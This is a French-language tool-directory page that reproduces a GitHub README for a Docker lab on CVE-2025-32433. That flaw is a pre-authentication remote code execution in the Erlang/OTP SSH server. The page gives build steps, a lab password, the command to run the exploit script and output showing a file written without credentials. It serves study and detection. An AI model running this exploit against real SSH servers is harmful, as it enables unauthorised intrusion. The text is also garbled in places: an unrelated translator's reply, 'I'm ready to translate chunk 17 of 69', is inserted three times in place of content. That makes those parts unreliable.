Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-32433-LAB — Une faille dans la gestion des messages du protocole SSH pourrait permettre à un acteur malveillant d'obtenir un accès non autorisé aux systèmes affectés et d'exécuter des commandes arbitraires sans identifiants valides dans le serveur SSH Erlang/OTP | Kitploit
Outils/GitHubGitHub/damnkrishna/cve-2025-32433-lab
Sniffing et Analyse de PaquetsScanners de VulnérabilitésSécurité des ConteneursAnalyse des VulnérabilitésExploitationSécurité RéseauDétection d'IntrusionApprentissage et Éducation
Labs et Pratique
GitHubdamnkrishna/cve-2025-32433-lab

CVE-2025-32433-LAB

Une faille dans la gestion des messages du protocole SSH pourrait permettre à un acteur malveillant d'obtenir un accès non autorisé aux systèmes affectés et d'exécuter des commandes arbitraires sans identifiants valides dans le serveur SSH Erlang/OTP

Voir le dépôt
41il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Recherche sur la vulnérabilité CVE-2025-32433 et laboratoire de sécurité

✅ RCE PRÉ-AUTHENTIFICATION CONFIRMÉE — Exploit démontré avec succès.
📄 Blog technique (PDF) : CVE-2025-32433-Technical-Blog.pdf
📸 Preuves visuelles : screenshots/
🔍 Détails de la preuve de concept : docs/PROOF_OF_CONCEPT.md

CVE-2025-32433 est une vulnérabilité critique de score CVSS 10.0 dans le démon SSH d'Erlang/OTP. Un attaquant non authentifié peut ouvrir des canaux SSH et exécuter des commandes arbitraires avant de terminer l'authentification — aucun identifiant requis.

Ce laboratoire vous fournit un environnement isolé et entièrement fonctionnel pour reproduire la vulnérabilité, exécuter l'exploit, le vérifier et tester les mécanismes de détection — le tout sur votre machine locale.


Prérequis

Avant de commencer, assurez-vous que les éléments suivants sont installés :

OutilVersion minimaleCommande de vérification
Docker Desktop4.x+docker --version
Docker Composev2.20+docker compose version
Python3.10+python --version

Vous avez également besoin de la bibliothèque Python paramiko pour la suite de détection :

pip install paramiko

Remarque importante — Pourquoi nous compilons depuis les sources

Le tag d'image erlang:26.2.5 de Docker Hub a été silencieusement écrasé par la version corrigée 26.2.5.11 après la divulgation de CVE-2025-32433. Le récupérer depuis Docker Hub vous donne la version corrigée, pas la version vulnérable.

Le fichier lab/Dockerfile de ce lab compile OTP 26.2.5 directement depuis l'archive de release officielle Erlang sur GitHub afin de garantir le véritable environnement d'exécution vulnérable. La première compilation prend ~10 minutes.


Architecture du lab

                  ┌──────────────────────────────────────────┐
                  │         Isolated Docker Bridge           │
                  │            (cve-lab-bridge)              │
                  └────┬────────────────────────────┬────────┘
                       │                            │
       ┌───────────────┴─────────────┐┌─────────────┴──────────────┐
       │  target_vulnerable          ││  target_patched             │
       │  OTP 26.2.5 (source-built)  ││  erlang:26.2.5.11           │
       │  Host Port: 127.0.0.1:2222  ││  Host Port: 127.0.0.1:2223  │
       └─────────────────────────────┘└─────────────────────────────┘
                                       │
                        ┌──────────────┴──────────────┐
                        │  attacker                   │
                        │  Python 3 + Scapy/Paramiko  │
                        │  Workdir: /work             │
                        └─────────────────────────────┘
ConteneurPortVersion OTPStatut
cve-2025-32433-vulnerable127.0.0.1:222226.2.5 (ERTS 14.2.5)❌ Vulnérable
cve-2025-32433-patched127.0.0.1:222326.2.5.11 (ERTS 14.2.5.15)✅ Corrigé
cve-2025-32433-attackerInterne uniquementOutils Python 3Ensemble d'outils de l'attaquant

Étape 1 — Cloner le dépôt

git clone https://github.com/damnkrishna/CVE-2025-32433-LAB.git
cd CVE-2025-32433-LAB

Étape 2 — Construire le conteneur vulnérable

⏱️ Cela prend environ 10 minutes — il compile Erlang/OTP 26.2.5 à partir du code source C. C'est normal. Ne l'interrompez pas.

docker compose build --no-cache target_vulnerable

Vous verrez une sortie du compilateur comme make[1]: Leaving directory '/tmp/otp_src_26.2.5/lib/...' — c'est normal. Elle se termine par :

✔ Image ine_cyber_assignment_job-target_vulnerable Built

Étape 3 — Construire le conteneur corrigé

docker compose build --no-cache target_patched

Étape 4 — Démarrer le lab

docker compose up -d target_vulnerable target_patched

Étape 5 — Vérifier que tout fonctionne

docker compose ps

I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate from English to French.

NAME                        STATUS              PORTS
cve-2025-32433-vulnerable   Up (healthy)        127.0.0.1:2222->2222/tcp
cve-2025-32433-patched      Up (healthy)        127.0.0.1:2223->2222/tcp

Les deux conteneurs doivent afficher (healthy) avant de continuer.


Étape 6 — Vérifier la version vulnérable

Confirmez que le conteneur exécute réellement OTP 26.2.5 (et non la version corrigée) :

docker exec cve-2025-32433-vulnerable cat /usr/local/otp/lib/erlang/releases/RELEASES

Sortie attendue — doit afficher 14.2.5 SANS suffixe .15 :

[{release,"Erlang/OTP","26","14.2.5",
          [{kernel,"9.2.4",...},

Si vous voyez 14.2.5.15 — l'image du conteneur est incorrecte. Reconstruisez avec --no-cache.


Étape 7 — Connexion SSH authentifiée normale (référence)

Connectez-vous en tant qu'utilisateur légitime pour confirmer que le serveur accepte l'authentification standard :

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 [email protected]

Lorsque vous y êtes invité, saisissez le mot de passe : LabPass2026!Secured

Vous arriverez dans un shell Erlang :

Eshell V14.2.5 (press Ctrl+G to abort, type help(). for help)
1>

Essayez quelques commandes dans le shell Erlang :

ls().
file:write_file("test.txt", "hello").
file:read_file("test.txt").

Pour quitter le shell Erlang :

q().

Étape 8 — Surveiller les journaux en direct (exécutez ceci dans un terminal séparé)

Avant de lancer l'exploit, ouvrez un second terminal PowerShell et suivez le journal du serveur :

Get-Content -Path .\logs\target_vulnerable\ssh.log -Wait -Tail 20

Gardez ce terminal ouvert. Vous verrez les événements de connexion apparaître en temps réel.


Étape 9 — Exécuter l'exploit CVE-2025-32433

Il s'agit de la preuve de concept d'exécution de code à distance avant authentification. Aucun identifiant n'est utilisé.

cd attacker_work\exploit
python payload.py

I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate from English to French.

[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.1.4
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt.
[+] Received response: 000003d4...

La bannière doit afficher SSH-2.0-Erlang/5.1.4 (sans le suffixe .15) pour confirmer que vous avez atteint le serveur vulnérable.


Étape 10 — Vérifier que l'exploit a fonctionné

docker exec cve-2025-32433-vulnerable cat /lab.txt

I'm ready to translate chunk 17 of 69. Please provide the source content you'd like me to translate from English to French.

pwned

Si vous voyez pwned — la RCE pré-authentification CVE-2025-32433 est confirmée. L'exploit a écrit sur le système de fichiers du conteneur sans aucun identifiant.


Étape 11 — Confirmer que le conteneur corrigé n'est PAS vulnérable

Exécutez le même exploit contre le conteneur corrigé sur le port 2223 :

Modifiez la ligne 6 de attacker_work\exploit\payload.py :

PORT = 2223   # change from 2222 to 2223

Exécutez l'exploit :

python payload.py
Télécharger l’outil